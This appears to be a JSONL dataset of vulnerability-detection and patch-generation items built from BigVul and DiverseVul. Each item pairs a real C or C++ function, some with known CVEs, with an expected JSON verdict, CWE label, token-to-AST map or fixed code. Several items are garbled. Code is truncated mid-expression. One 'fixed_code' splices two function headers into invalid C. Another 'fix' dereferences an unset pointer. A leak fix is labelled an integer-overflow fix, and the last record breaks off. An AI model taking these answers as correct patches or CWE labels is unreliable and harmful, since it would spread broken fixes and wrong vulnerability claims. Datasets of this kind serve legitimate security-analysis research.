arg.mha_cmd = MHA_MAPSIZE_BSSBRK;\n\n if (memcntl(0, 0, MC_HAT_ADVISE, (caddr_t)&arg, 0, 0) == -1) {\n fprintf(stderr, \"Failed to set large pages: %s\\n\",\n strerror(errno));\n fprintf(stderr, \"Will use default page size\\n\");\n } else {\n ret = 0;\n }\n } else {\n fprintf(stderr, \"Failed to get supported pagesizes: %s\\n\",\n strerror(errno));\n fprintf(stderr, \"Will use default page size\\n\");\n }\n\n return ret;\n#else\n return 0;\n#endif\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"memcached\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-189", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C++ function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void GfxImageColorMap::getRGBLine(Guchar *in, unsigned int *out, int length) {\n int i, j;\n Guchar *inp, *tmp_line;\n\n switch (colorSpace->getMode()) {\n case csIndexed:\n case csSeparation:\n tmp_line = (Guchar *) gmalloc (length * nComps2);\n for (i = 0; i < length; i++) {\n for (j = 0; j < nComps2; j++) {\n \ttmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];\n }\n }\n colorSpace2->getRGBLine(tmp_line, out, length);\n gfree (tmp_line);\n break;\n\n default:\n inp = in;\n for (j = 0; j < length; j++)\n for (i = 0; i < nComps; i++) {\n\t*inp = byte_lookup[*inp * nComps + i];\n\tinp++;\n }\n colorSpace->getRGBLine(in, out, length);\n break;\n }\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2009-3605\",\n \"project\": \"poppler\",\n \"vulnerable_lines\": [\n 8\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"GfxImageColorMap\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 1,\n \"col\": 21\n },\n {\n \"token\": \"getRGBLine\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"Guchar\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"in\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"out\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 75\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 6\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"j\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"Guchar\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"inp\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 13\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"tmp_line\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \"colorSpace\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \"getMode\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 31\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 6,\n \"col\": 3\n },\n {\n \"token\": \"csIndexed\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 7,\n \"col\": 3\n },\n {\n \"token\": \"csSeparation\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"tmp_line\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"Guchar\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"gmalloc\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 34\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 35\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 42\n },\n {\n \"token\": \"nComps2\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 51\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 52\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 9\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-189", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-189). Produce the patched version and explain the fix. Output JSON.", "input": "int sysMapFile(const char* fn, MemMapping* pMap)\n{\n memset(pMap, 0, sizeof(*pMap));\n\n if (fn && fn[0] == '@') {\n FILE* mapf = fopen(fn+1, \"r\");\n if (mapf == NULL) {\n LOGV(\"Unable to open '%s': %s\\n\", fn+1, strerror(errno));\n return -1;\n }\n\n \n if (sysMapBlockFile(mapf, pMap) != 0) {\n LOGW(\"Map of '%s' failed\\n\", fn);\n return -1;\n }\n \n fclose(mapf);\n } else {\n int fd = open(fn, O_RDONLY, 0);\n if (fd < 0) {\n LOGE(\"Unable to open '%s': %s\\n\", fn, strerror(errno));\n return -1;\n }\n\n if (sysMapFD(fd, pMap) != 0) {\n LOGE(\"Map of '%s' failed\\n\", fn);\n close(fd);\n return -1;\n }\n\n close(fd);\n }\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"cve\": \"CVE-2016-0849\",\n \"fixed_code\": \"int sysMapFile(const char* fn, MemMapping* pMap)\\n{\\n memset(pMap, 0, sizeof(*pMap));\\n\\n if (fn && fn[0] == '@') {\\n FILE* mapf = fopen(fn+1, \\\"r\\\");\\n if (mapf == NULL) {\\n LOGV(\\\"Unable to open '%s': %s\\\\n\\\", fn+1, strerror(errno));\\n return -1;\\n }\\n\\n \\n if (sysMapBlockFile(mapf, pMap) != 0) {\\n LOGW(\\\"Map of '%s' failed\\\\n\\\", fn);\\n fclose(mapf);\\n return -1;\\n }\\n \\n fclose(mapf);\\n } else {\\n int fd = open(fn, O_RDONLY, 0);\\n if (fd < 0) {\\n LOGE(\\\"Unable to open '%s': %s\\\\n\\\", fn, strerror(errno));\\n return -1;\\n }\\n\\n if (sysMapFD(fd, pMap) != 0) {\\n LOGE(\\\"Map of '%s' failed\\\\n\\\", fn);\\n close(fd);\\n return -1;\\n }\\n\\n close(fd);\\n }\\n return 0;\\n}\\n\",\n \"change_summary\": \"Fix integer overflows in recovery procedure.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-125). Produce the patched version and explain the fix. Output JSON.", "input": "static int insert_key(\n\tsc_pkcs15_card_t *p15card,\n\tconst char *path,\n\tunsigned char id,\n\tunsigned char key_reference,\n\tint key_length,\n\tunsigned char auth_id,\n\tconst char *label\n){\n\tsc_card_t *card=p15card->card;\n\tsc_context_t *ctx=p15card->card->ctx;\n\tsc_file_t *f;\n\tstruct sc_pkcs15_prkey_info prkey_info;\n\tstruct sc_pkcs15_object prkey_obj;\n\tint r, can_sign, can_crypt;\n\n\tmemset(&prkey_info, 0, sizeof(prkey_info));\n\tprkey_info.id.len = 1;\n\tprkey_info.id.value[0] = id;\n\tprkey_info.native = 1;\n\tprkey_info.key_reference = key_reference;\n\tprkey_info.modulus_length = key_length;\n\tsc_format_path(path, &prkey_info.path);\n\n\tmemset(&prkey_obj, 0, sizeof(prkey_obj));\n\tstrlcpy(prkey_obj.label, label, sizeof(prkey_obj.label));\n\tprkey_obj.flags = SC_PKCS15_CO_FLAG_PRIVATE;\n\tprkey_obj.auth_id.len = 1;\n\tprkey_obj.auth_id.value[0] = auth_id;\n\n\tcan_sign=can_crypt=0;\n\tif(card->type==SC_CARD_TYPE_TCOS_V3){\n\t\tunsigned char buf[256];\n \t\tint i, rec_no=0;\n \t\tif(prkey_info.path.len>=2) prkey_info.path.len-=2;\n \t\tsc_append_file_id(&prkey_info.path, 0x5349);\n\t\tif(sc_select_file(card, &prkey_info.path, NULL)!=SC_SUCCESS){\n \t\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\t\"Select(%s) failed\\n\",\n \t\t\t\tsc_print_path(&prkey_info.path));\n\t\t\treturn 1;\n\t\t}\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\n\t\t\t\"Searching for Key-Ref %02X\\n\", key_reference);\n\t\twhile((r=sc_read_record(card, ++rec_no, buf, sizeof(buf), SC_RECORD_BY_REC_NR))>0){\n\t\t\tint found=0;\n\t\t\tif(buf[0]!=0xA0) continue;\n\t\t\tfor(i=2;iprop_attr[1] & 0x04) can_crypt=1;\n\t\tif (f->prop_attr[1] & 0x08) can_sign=1;\n\t\tsc_file_free(f);\n\t}\n\tprkey_info.usage= SC_PKCS15_PRKEY_USAGE_SIGN;\n\tif(can_crypt) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_ENCRYPT|SC_PKCS15_PRKEY_USAGE_DECRYPT;\n\tif(can_sign) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_NONREPUDIATION;\n\n\tr=sc_pkcs15emu_add_rsa_prkey(p15card, &prkey_obj, &prkey_info);\n\tif(r!=SC_SUCCESS){\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"sc_pkcs15emu_add_rsa_prkey(%s) failed\\n\", path);\n\t\treturn 4;\n\t}\n\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"%s: OK%s%s\\n\", path, can_sign ? \", Sign\" : \"\", can_crypt ? \", Crypt\" : \"\");\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"cve\": \"CVE-2018-16427\",\n \"fixed_code\": \"static int insert_key(\\n\\tsc_pkcs15_card_t *p15card,\\n\\tconst char *path,\\n\\tunsigned char id,\\n\\tunsigned char key_reference,\\n\\tint key_length,\\n\\tunsigned char auth_id,\\n\\tconst char *label\\n){\\n\\tsc_card_t *card=p15card->card;\\n\\tsc_context_t *ctx=p15card->card->ctx;\\n\\tsc_file_t *f;\\n\\tstruct sc_pkcs15_prkey_info prkey_info;\\n\\tstruct sc_pkcs15_object prkey_obj;\\n\\tint r, can_sign, can_crypt;\\n\\n\\tmemset(&prkey_info, 0, sizeof(prkey_info));\\n\\tprkey_info.id.len = 1;\\n\\tprkey_info.id.value[0] = id;\\n\\tprkey_info.native = 1;\\n\\tprkey_info.key_reference = key_reference;\\n\\tprkey_info.modulus_length = key_length;\\n\\tsc_format_path(path, &prkey_info.path);\\n\\n\\tmemset(&prkey_obj, 0, sizeof(prkey_obj));\\n\\tstrlcpy(prkey_obj.label, label, sizeof(prkey_obj.label));\\n\\tprkey_obj.flags = SC_PKCS15_CO_FLAG_PRIVATE;\\n\\tprkey_obj.auth_id.len = 1;\\n\\tprkey_obj.auth_id.value[0] = auth_id;\\n\\n\\tcan_sign=can_crypt=0;\\n\\tif(card->type==SC_CARD_TYPE_TCOS_V3){\\n\\t\\tunsigned char buf[256];\\n \\t\\tint i, rec_no=0;\\n \\t\\tif(prkey_info.path.len>=2) prkey_info.path.len-=2;\\n \\t\\tsc_append_file_id(&prkey_info.path, 0x5349);\\n\\t\\tif(sc_select_file(card, &prkey_info.path, NULL)!=SC_SUCCESS || !f->prop_attr){\\n \\t\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\\n \\t\\t\\t\\t\\\"Select(%s) failed\\\\n\\\",\\n \\t\\t\\t\\tsc_print_path(&prkey_info.path));\\n\\t\\t\\treturn 1;\\n\\t\\t}\\n\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\\n\\t\\t\\t\\\"Searching for Key-Ref %02X\\\\n\\\", key_reference);\\n\\t\\twhile((r=sc_read_record(card, ++rec_no, buf, sizeof(buf), SC_RECORD_BY_REC_NR))>0){\\n\\t\\t\\tint found=0;\\n\\t\\t\\tif(buf[0]!=0xA0) continue;\\n\\t\\t\\tfor(i=2;iprop_attr || f->prop_attr_len < 2){\\n \\t\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\\n \\t\\t\\t\\t\\\"Select(%s) failed\\\\n\\\",\\n \\t\\t\\t\\tsc_print_path(&prkey_info.path));\\n\\t\\t\\treturn 1;\\n\\t\\t}\\n\\t\\tif (f->prop_attr[1] & 0x04) can_crypt=1;\\n\\t\\tif (f->prop_attr[1] & 0x08) can_sign=1;\\n\\t\\tsc_file_free(f);\\n\\t}\\n\\tprkey_info.usage= SC_PKCS15_PRKEY_USAGE_SIGN;\\n\\tif(can_crypt) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_ENCRYPT|SC_PKCS15_PRKEY_USAGE_DECRYPT;\\n\\tif(can_sign) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_NONREPUDIATION;\\n\\n\\tr=sc_pkcs15emu_add_rsa_prkey(p15card, &prkey_obj, &prkey_info);\\n\\tif(r!=SC_SUCCESS){\\n\\t\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \\\"sc_pkcs15emu_add_rsa_prkey(%s) failed\\\\n\\\", path);\\n\\t\\treturn 4;\\n\\t}\\n\\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \\\"%s: OK%s%s\\\\n\\\", path, can_sign ? \\\", Sign\\\" : \\\"\\\", can_crypt ? \\\", Crypt\\\" : \\\"\\\");\\n\\treturn 0;\\n}\\n\",\n \"change_summary\": \"fixed out of bounds reads\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void cirrus_pci_lfb_map(PCIDevice *d, int region_num,\n\t\t\t uint32_t addr, uint32_t size, int type)\n{\n CirrusVGAState *s = &((PCICirrusVGAState *)d)->cirrus_vga;\n\n /* XXX: add byte swapping apertures */\n cpu_register_physical_memory(addr, s->vram_size,\n\t\t\t\t s->cirrus_linear_io_addr);\n cpu_register_physical_memory(addr + 0x1000000, 0x400000,\n\t\t\t\t s->cirrus_linear_bitblt_io_addr);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": null, "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (a known CWE). Produce the patched version and explain the fix. Output JSON.", "input": "static void rekey_seq_generator(struct work_struct *work)\n {\n\tstruct keydata *keyptr = &ip_keydata[1 ^ (ip_cnt & 1)];\n\tget_random_bytes(keyptr->secret, sizeof(keyptr->secret));\n\tkeyptr->count = (ip_cnt & COUNT_MASK) << HASH_BITS;\n\tsmp_wmb();\n\tip_cnt++;\n\tschedule_delayed_work(&rekey_work,\n\t\t\t round_jiffies_relative(REKEY_INTERVAL));\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"cve\": \"CVE-2011-3188\",\n \"fixed_code\": \"static void rekey_seq_generator(struct work_struct *work)\\nstatic int __init random_int_secret_init(void)\\n {\\n\",\n \"change_summary\": \"net: Compute protocol sequence numbers and fragment IDs using MD5.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-200", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-200). Produce the patched version and explain the fix. Output JSON.", "input": " long vorbis_book_decodevv_add(codebook *book,ogg_int32_t **a,\n\t\t\t long offset,int ch,\n\t\t\t oggpack_buffer *b,int n,int point){\n if(book->used_entries>0){\n \n ogg_int32_t *v = book->dec_buf;//(ogg_int32_t *)alloca(sizeof(*v)*book->dim);\n long i,j;\n int chptr=0;\n\n\n if (!v) return -1;\n for(i=offset;idim;j++){\n\ta[chptr++][i]+=v[j];\n\tif(chptr==ch){\n\t chptr=0;\n\t i++;\n\t}\n }\n }\n }\n\n return 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"cve\": \"CVE-2017-0814\",\n \"fixed_code\": \" long vorbis_book_decodevv_add(codebook *book,ogg_int32_t **a,\\n long offset,int ch,\\n oggpack_buffer *b,int n,int point){\\n if(book->used_entries>0){\\n \\n ogg_int32_t *v = book->dec_buf;//(ogg_int32_t *)alloca(sizeof(*v)*book->dim);\\n long i,j;\\n int chptr=0;\\n\\n\\n if (!v) return -1;\\n for(i=offset;idim && i < offset + n;j++){\\n a[chptr++][i]+=v[j];\\n if(chptr==ch){\\n chptr=0;\\n i++;\\n }\\n }\\n }\\n }\\n\\n return 0;\\n}\\n\",\n \"change_summary\": \"Fix out of bounds access in codebook processing\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "pfm_clear_task_notify(void)\n{\n\tclear_thread_flag(TIF_NOTIFY_RESUME);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " int main(int argc, char **argv) {\n FILE *infile = NULL;\n vpx_codec_ctx_t codec;\n vpx_codec_enc_cfg_t cfg;\n int frame_count = 0;\n vpx_image_t raw;\n vpx_codec_err_t res;\n VpxVideoInfo info = {0};\n VpxVideoWriter *writer = NULL;\n const VpxInterface *encoder = NULL;\n const int fps = 30; // TODO(dkovalev) add command line argument\n const int bitrate = 200; // kbit/s TODO(dkovalev) add command line argument\n int keyframe_interval = 0;\n\n const char *codec_arg = NULL;\n const char *width_arg = NULL;\n const char *height_arg = NULL;\n const char *infile_arg = NULL;\n const char *outfile_arg = NULL;\n const char *keyframe_interval_arg = NULL;\n\n exec_name = argv[0];\n\n if (argc < 7)\n die(\"Invalid number of arguments\");\n\n codec_arg = argv[1];\n width_arg = argv[2];\n height_arg = argv[3];\n infile_arg = argv[4];\n outfile_arg = argv[5];\n keyframe_interval_arg = argv[6];\n\n encoder = get_vpx_encoder_by_name(codec_arg);\n if (!encoder)\n die(\"Unsupported codec.\");\n\n info.codec_fourcc = encoder->fourcc;\n info.frame_width = strtol(width_arg, NULL, 0);\n info.frame_height = strtol(height_arg, NULL, 0);\n info.time_base.numerator = 1;\n info.time_base.denominator = fps;\n\n if (info.frame_width <= 0 ||\n info.frame_height <= 0 ||\n (info.frame_width % 2) != 0 ||\n (info.frame_height % 2) != 0) {\n die(\"Invalid frame size: %dx%d\", info.frame_width, info.frame_height);\n }\n\n if (!vpx_img_alloc(&raw, VPX_IMG_FMT_I420, info.frame_width,\n info.frame_height, 1)) {\n die(\"Failed to allocate image.\");\n }\n\n keyframe_interval = strtol(keyframe_interval_arg, NULL, 0);\n\n if (keyframe_interval < 0)\n die(\"Invalid keyframe interval value.\");\n \n printf(\"Using %s\\n\", vpx_codec_iface_name(encoder->interface()));\n \n res = vpx_codec_enc_config_default(encoder->interface(), &cfg, 0);\n if (res)\n die_codec(&codec, \"Failed to get default codec config.\");\n \n cfg.g_w = info.frame_width;\n cfg.g_h = info.frame_height;\n cfg.g_timebase.num = info.time_base.numerator;\n cfg.g_timebase.den = info.time_base.denominator;\n cfg.rc_target_bitrate = bitrate;\n cfg.g_error_resilient = argc > 7 ? strtol(argv[7], NULL, 0) : 0;\n\n writer = vpx_video_writer_open(outfile_arg, kContainerIVF, &info);\n if (!writer)\n die(\"Failed to open %s for writing.\", outfile_arg);\n\n\n if (!(infile = fopen(infile_arg, \"rb\")))\n die(\"Failed to open %s for reading.\", infile_arg);\n \n if (vpx_codec_enc_init(&codec, encoder->interface(), &cfg, 0))\n die_codec(&codec, \"Failed to initialize encoder\");\n \n while (vpx_img_read(&raw, infile)) {\n int flags = 0;\n if (keyframe_interval > 0 && frame_count % keyframe_interval == 0)\n flags |= VPX_EFLAG_FORCE_KF;\n encode_frame(&codec, &raw, frame_count++, flags, writer);\n }\n encode_frame(&codec, NULL, -1, 0, writer); // flush the encoder\n \n printf(\"\\n\");\n fclose(infile);\n printf(\"Processed %d frames.\\n\", frame_count);\n\n vpx_img_free(&raw);\n if (vpx_codec_destroy(&codec))\n die_codec(&codec, \"Failed to destroy codec.\");\n\n vpx_video_writer_close(writer);\n\n return EXIT_SUCCESS;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1621\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 61,\n 63,\n 82,\n 91\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"main\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 9\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 10\n },\n {\n \"token\": \"argc\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 20\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"argv\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"FILE\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 6\n },\n {\n \"token\": \"infile\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 20\n },\n {\n \"token\": \"vpx_codec_ctx_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"codec\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 22\n },\n {\n \"token\": \"vpx_codec_enc_cfg_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"cfg\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 24\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"frame_count\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"vpx_image_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"raw\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 16\n },\n {\n \"token\": \"vpx_codec_err_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": 